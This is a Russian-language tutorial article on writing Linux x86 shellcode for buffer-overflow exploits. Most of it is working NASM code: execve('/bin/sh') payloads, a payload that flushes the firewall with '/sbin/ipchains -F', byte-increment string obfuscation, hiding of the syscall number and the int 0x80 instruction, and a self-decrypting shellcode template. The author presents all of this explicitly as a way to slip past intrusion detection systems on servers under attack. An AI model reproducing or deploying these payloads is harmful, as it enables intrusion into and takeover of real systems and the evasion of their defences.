C++ C++ C# C# ASP.NET Security ASP.NET Security ASM ASM Скачать Скачать Поиск Поиск Хостинг Хостинг  
  Программа для работы с LPT портом...
Язык: .NET — ©Alexey...
  "ASP.NET Atlas" – AJAX в исполнении Micro...
Язык: .NET — ©legigor@mail.ru...
  "Невытесняющая" Многопоточность...
Язык: C/C++ — ©...
  01.05.2010 — Update World C++: Сборник GPL QT исходников
  15.12.2007 — Весь сайт целиком можно загрузить по ссылкам из раздела Скачать
Хостинг:
Windows 2003, ASP.NET 2.0
бесплатный и от 80 руб./мес


   Отправить письмо
Кулабухов Артем, Беларусь




 Еще несколько слов о шеллкоде(Linux) / ShellCode / Ассемблер в C/C++

.. Еще несколько слов о шеллкоде(Linux)  //dev0id

Введение
В данной статье я постараюсь изложить все самое интересное и нужное из того, что касается написания шеллкода под линукс. Материал является доработкой предыдущих статей на данную тему, плюс ко всему, весомым дополнением. Я не буду описывать и рассказывать для чего нужен сам шеллкод; я не буду приводить примеров, которые можно найти в зарубежных изданиях, я не буду описывать и рассказывать для чего нужен сам шеллкод. Я расскажу, как написать грамотный код на ассемблере, который будет прост в понимании и невидим для IDS.


Начало
Шеллкодов в инете много, много и инструкций по их написанию. Мало документации он написании качественного кода: полиморфного, самошифрующегося. Большинство программ - переделки уже существующих. Авторы, порой, даже не могут объяснить, почему они написали эти или те строчки кода. Я постараюсь досконально расписать все примеры и описать все возможные методы реализации.
Сразу хочу дать несколько ссылок на русскоязычные документы, которые могут вас заинтересовать:

www.nerf.ru - о написании шеллкода под BSD-системы.
www.dwcgr0up.com - неплохой перевод статей на тему эксплоитов и шеллкодов, который поможет вам понять, для чего все это надо.


Пример первый - он нужный самый
Если вы пишите свой шеллкод, то, скорее всего это код вызова /bin/sh. В своем роде это как "Hello, World!", и у многих авторов в этом шеллкоде есть свои ошибки и новаторские идеи.
В линуксе все аргументы передаются через регистры, как в dos'e. Для вызова системной функции используется регистр eax. Сама программа, в частности шеллкод, должна распологаться в одном сегменте. Теперь вопрос: каким образом мы можем получить адрес строки /bin/sh, которая находится в одном сегменте с программным кодом? Есть несколько путей решения данной проблемы:

1. Использовать метод вызова команды call.
    Это самый часто используемый метод, так как он прост и короче. Call используется для вызова процедур, единственным аргументом которых, в общем случае, может быть имя процедуры. Имя процедуры - это метка в памяти. При вызове любой процедуры, с стэк записывается следующий после этой команды адрес - это адрес возврата, куда по окончанию выполнения процедуры вернется программа. Таким образом, мы может использовать call с меткой, после которой будет расположена наша строка. В этом случае мы получим адрес нашей строки.
2. Использовать $ для определения текущего адреса памяти в данном сегменте.
    В данном случае мы можем сделать так:

------------code------------
mov	esi,$+4
jmp	main
db	'/bin/sh#AAAABBBBB'
main:
------------code------------
Теперь, обратите внимание на продолжение строчки: #AAAABBBB - эта необходимость заключается в том, что сюда мы будем помещать адрес всей структуры + адрес окружения, необходимые для исполнения execve(); # - для окончания строки /bin/sh. Основная проблема в том, что $ - значение командной адреса и значение это подставляет компилятор при сборке программы, следовательно, в шеллкоде этот метод не совсем рабочий =(, но зато, как прием программирования - неплохой маневр.
Я заметил, что многие используют такую конструкцию в варианте получения адреса строки в первом случае. Вот мой пример:
------------------------------
BITS	32

jmp short	path
main:
	pop	esi
	xor	eax,eax
	mov	[esi+7],al
	lea	ebx,[esi]
	mov	[esi+8],ebx
	mov	[esi+12],eax
	mov	al,0x0b
	mov	ebx,esi
	lea	ecx,[esi+8]
	lea	edx,[esi+12]
	int	0x80
path:
	call	main
	db	'/bin/sh'
------------------------------
В моем случае мы уменьшаем код, как минимум на 9 байт. Если задуматься, то с точки зрения безопасного программирования здесь есть ошибка - мы затрем все, что у нас идет в сегменте кода, за строчкой /bin/sh, но согласитесь, что сам шеллкод подразумевает всего-навсего выполнение команд на сервере, а не сохранение каких-то частей кода, до которых, кстати, программа не дойдет, ибо:

1. У нас выполняется наша оболочка, которая остановит выполнение эксплуатируемой программы.
2. В любом случае - это переполнение буфера, значит мы уже вышла за пределы буфера и уже затерли какие-то данные в сегменте.

В слуаче второго способа получения адреса строки, нам просто необходимы эти заветные символы, ибо без них мы затрем нашу программу в сегменте и прыгать уже будет некуда.


Методы избежания ошибок при написании программы
Это самый короткий абзац. О null-bytes и прочих ошибках все уже все знают, так что совет один, не писать в программе напрямую данные содержащие нули (я имею ввиду не одинокие нули, а именно идущие друг за другом). Также следует использовать не только 32х и 16-разрадные регистры, но и 8и. Стоит всегда помнить, что при передаче 32х или 16-разрядному регистру данных заведомо меньших его разрядности, компилятор их расширяет нулями. То есть, если вы в регистр eax посылаете цифру 1, то опкод этой команды будет содержать целых три пары нулей, что для шеллкода неприемлемо. При возникновении ошибок, следует обращаться к дизассемблеру или переводить код вручную, для анализа.


Написание граммотного кода
При эксплуатировании какой-либо программы на сервере, стоит знать наверняка, как программа обрабатывает посылаемый ей буфер. Дело в том, что программа заранее может быть написана так, что она никогда не пропустит строчку /bin/sh или вес, что начинается на / и т.п. В этом случае никогда не помешает страховка, как насчет простенькой шифрации строчки /bin/sh или той, которую вы собираетесь использовать (в моем примере это будет /sbin/ipchains -F):

--------------------------------------
BITS	32

jmp	short 	callme
main:
	pop	esi
	mov	cx,0x10
mainloop:
	inc	byte [esi+ecx]
	loop	cx
	dec	byte [esi+ecx]
	mov	[esi+14],al
	mov	[esi+17],al
	mov	[esi+18],esi
	lea	ebx,[esi]
	mov	[esi+22],ebx
	mov	[esi+26],eax
	mov	al,0x0b
	mov	ebx,esi
	lea	ecx,[esi+18]
	lea	edx,[esi+26]
	int	0x80
callme:
	call	main
	db	'0tcjo0jqdibj0t#.E'
--------------------------------------
Я намеренно не вставляю в код системной функции exit(), дабы сократить сам код. Согласитесь, что после завершения вашей программы, эксплуатируемая программа в любом случае завершит свою деятельность, так что, это вам выбирать, аварийно (с возможной записью в лог) или нет (при использовании вышеупомянутой системной фукнции). Вы заметили эту странную строчку: db '0tcjo0jqdibj0t#.E'? Это ничто иное как "/sbin/ipchains -F", которую я вызываю в своем коде, правда несколько в модифицированном виде. Дело в том, что каждый байт этой строчки инкрементирован. Это не даст IDS заподозрить неладное. При выполнении шеллкода эта строчка модифицируется, принимая необходимый вид. Данный метод можно использовать как в удаленных эксплоитах, так и в локальных, при условии, что программа имеет некую фильтрацию входного буфера (редко, но возможно).
Также стоит отметить, что IDS могут засечь попытку взлома не только через подозрительные строчки типа /bin/sh, но и через вызов определенных системных функций, что более вероятно. В этом случае можно изменить код программы следующим образом:
--------------------------------------
BITS	32

jmp	short 	callme
main:
	pop	esi
	mov	cx,0x10
mainloop:
	inc	byte [esi+ecx]
	loop	cx
	dec	byte [esi+ecx]
	mov	[esi+14],al
	mov	[esi+17],al
	mov	[esi+18],esi
	lea	ebx,[esi]
	mov	[esi+22],ebx
	mov	[esi+26],eax
	mov	bl,0xff
	sub	bl,0xf4
	mov	al,bl	
	mov	ebx,esi
	lea	ecx,[esi+18]
	lea	edx,[esi+26]
	dec	byte $+5
	db	0ceh,21h
callme:
	call	main
	db	'0tcjo0jqdibj0t#.E'
--------------------------------------
В данном примере мы не только скрываем номер системного вызова, но и скрываем команду int. Остается один вопрос: как нам получить адрес, на который должен указывать $ в текущем сегменте кода, если мы подставим программу после компиляции в эксплоит? На данный вопрос будет искать ответ.
Выход как всегда прост, мы используем метод call'a, как и вслучае с адресом строки:
--------------------------------------
BITS	32

jmp	short 	callme
main:
	pop	esi
	mov	cx,0x10
mainloop:
	inc	byte [esi+ecx]
	loop	cx
	dec	byte [esi+ecx]
	mov	[esi+14],al
	mov	[esi+17],al
	mov	[esi+18],esi
	lea	ebx,[esi]
	mov	[esi+22],ebx
	mov	[esi+26],eax
	mov	bl,0xff
	sub	bl,0xf4
	mov	al,bl	
	mov	ebx,esi
	lea	ecx,[esi+18]
	lea	edx,[esi+26]
	jmp	short encript
inter:	
	pop	esi
	dec	byte	[esi]
	push	esi
	ret	
encript:
	call	inter
	db	0xce
	db	0x80
callme:
	call	main
	db	'0tcjo0jqdibj0t#.E'
--------------------------------------
Йо! Так его! Можно поставить расшифровщик в самом начале программы, тем самым мы сможем расшифровывать хоть весь шеллкод. Вот вам шаблон, подставив нужные вам значения в него, вы получите рабочий саморасшифровывающийся шеллкод:
--------------------------------------------------
BITS	32

	mov	ecx,LENGTHS_OF_ENCODED_SHELLCODE
	jmp	short	encoded
main_decript:
	pop	esi
loop_decr:
	dec byte [esi+ecx]
	loop	loop_decr
	dec byte [esi]
	push	esi
	ret
encoded:
	call	main_decript
	db INCLUDE_ENCODED_SHELLCODE
--------------------------------------------------
Рассмотрим алгоритм: в ecx помещаем длинну зашифрованного шеллкоад. Получаем адрес шеллкода, начинаем расшифровывать. Конечно, сложно назвать шифрованием инкремент/декремент каждого из байтов массива, но всеж, это всего-навсего пример. Вы можете изменить алгоритм, но, замечу - чем он будет сложнее, тем больше будет сам код.
Далее мы запускаем цикл, в котором начинаем декремент каждого из байт шеллкода (подразумевается, что сам шеллкод зашифрован инкрементом, причем он не содержит нульбайтов, так что следует выбрать нужный алгоритм). После всего этого мы сохраняем обратно в стэк адрес возврата и помещаем инструкцию ret, символизирующую об окончании процедуры, и выполнающую возврат в основную программу, а это уже будет наш расшифрованный шеллкод.